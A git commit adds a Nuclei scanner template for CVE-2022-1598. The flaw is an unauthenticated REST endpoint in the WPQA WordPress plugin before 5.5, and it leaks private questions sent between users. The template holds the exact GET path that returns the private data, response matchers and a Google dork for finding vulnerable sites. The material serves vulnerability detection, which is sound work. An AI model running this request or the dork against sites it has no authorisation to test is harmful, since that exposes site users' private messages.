Create CVE-2022-1598.yaml (#4507)

* Create CVE-2022-1598.yaml

* Update CVE-2022-1598.yaml

* misc update

Co-authored-by: sandeep <sandeep@projectdiscovery.io>

cves/2022/CVE-2022-1598.yaml

@@ -0,0 +1,35 @@
+id: CVE-2022-1598
+
+info:
+  name: WordPress Plugin WPQA < 5.5 - Unauthenticated Private Message Disclosure
+  author: veshraj
+  severity: high
+  description: |
+    The plugin which is a companion to the Discy and Himer themes, lacks authentication in a REST API endpoint, allowing unauthenticated users to discover private questions sent between users on the site.
+  reference:
+    - https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598
+  classification:
+    cve-id: CVE-2022-1598
+  metadata:
+    verified: true
+    google-dork: inurl:/wp-content/plugins/wpqa
+  tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-json/wp/v2/asked-question'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"id":'
+          - '"rendered":'
+        condition: and
+
+      - type: status
+        status:
+          - 200